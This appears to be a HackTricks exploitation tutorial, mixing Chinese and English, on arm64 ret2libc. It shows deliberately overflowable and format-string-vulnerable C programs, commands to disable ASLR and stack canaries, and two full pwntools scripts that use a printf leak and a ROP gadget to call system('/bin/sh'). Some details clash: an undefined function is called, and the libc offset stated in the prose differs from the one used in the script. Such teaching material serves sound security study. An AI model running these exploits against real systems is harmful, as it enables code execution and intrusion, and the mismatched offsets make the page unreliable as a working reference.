Ret2lib + Printf leak - arm64

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

Ret2lib - 通过ROP绕过NX(无ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

编译时不使用canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

寻找偏移量

x30 偏移量

使用 pattern create 200 创建模式,使用它,并使用 pattern search $x30 检查偏移量,我们可以看到偏移量为 108 (0x6c)。

查看反汇编的主函数,我们可以看到我们希望跳转到直接跳转到 printf 的指令,其偏移量从二进制文件加载的位置为 0x860

寻找 system 和 /bin/sh 字符串

由于 ASLR 已禁用,地址将始终相同:

寻找 Gadgets

我们需要在 x0 中有指向字符串 /bin/sh 的地址并调用 system

使用 rooper 找到了一个有趣的 gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

攻击

这个工具将从**$sp + 0x18加载x0,然后从sp加载地址x29和x30,最后跳转到x30。因此,利用这个工具,我们可以控制第一个参数,然后跳转到system**。

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - 利用从栈中泄漏的printf绕过NX、ASLR和PIE

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

编译无 Canary

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE and ASLR but no canary

  • Round 1:

  • Leak of PIE from stack

  • Abuse bof to go back to main

  • Round 2:

  • Leak of libc from the stack

  • ROP: ret2system

Printf leaks

Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:

Trying different offsets, the %21$p can leak a binary address (PIE bypass) and %25$p can leak a libc address:

Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is 0x49c40.

x30 offset

See the previous example as the bof is the same.

Find Gadgets

Like in the previous example, we need to have in x0 the address to the string /bin/sh and call system.

Using rooper another interesting gadget was found:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

这个工具将从**$sp + 0x78加载x0,然后从sp加载地址x29和x30,最后跳转到x30。因此,利用这个工具,我们可以控制第一个参数,然后跳转到system**。

攻击Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

其他支持HackTricks的方式:

最后更新于